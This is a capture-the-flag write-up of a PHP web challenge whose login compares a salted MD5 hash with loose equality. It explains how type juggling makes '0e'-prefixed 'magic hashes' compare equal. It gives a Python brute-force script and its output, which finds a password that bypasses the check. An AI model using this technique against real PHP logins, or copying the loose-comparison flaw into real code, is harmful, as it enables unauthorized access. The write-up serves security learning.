This is my write-up of a Web challenge Compare the Pair on the CTF site 247CTF.com
Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right?
<?php
require_once('flag.php');
$password_hash = "0e902564435691274142490923013038";
$salt = "f789bbc328a3d1a3";
if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){
echo $flag;
}
echo highlight_file(__FILE__, true);
?>
Type juggling a feature found in various programming languages, but specifically in PHP. It allows programmer to silently substutute values of one type with values of another type. Unfortunatly this feature is nowdays considered more of a flaw then a benefit.
Another thing to know about PHP is that it supports two different main comparison modes, “equal” or loose (==
) and “identical” or strict (===
).
The proprety that we can exploit here is that the following is true:
0e902564435691274142490923013038 == 0e1111
And 1111
here can be almost any number of digits.
https://www.whitehatsec.com/blog/magic-hashes/
With this knowledge, we can see what needs to be done.
We need to find a MD5 hash, created from our salt and any other data, that starts with 0e
and finishes with 30 digits.
As MD5 is practically irreversible, we need to go the other way around. Generate MD5 hashes, until we find one of use. To do that, we can create a little Python script:
#!/usr/bin/env python3
import hashlib
salt = "f789bbc328a3d1a3"
i = 100000000
while 1:
password = salt + str(i)
password = password.encode('utf8')
new_hash = hashlib.md5(password).hexdigest()
if new_hash[0:2] == "0e" and new_hash[2:32].isdigit():
print(password, str(i), new_hash)
exit(0)
i += 1
Running this on AWS t2.medium instance:
$ time ./md5collision.py
b'f789bbc328a3d1a3237701818' 237701818 0e668271403484922599527929534016
real 5m59.688s
user 5m59.652s
sys 0m0.000s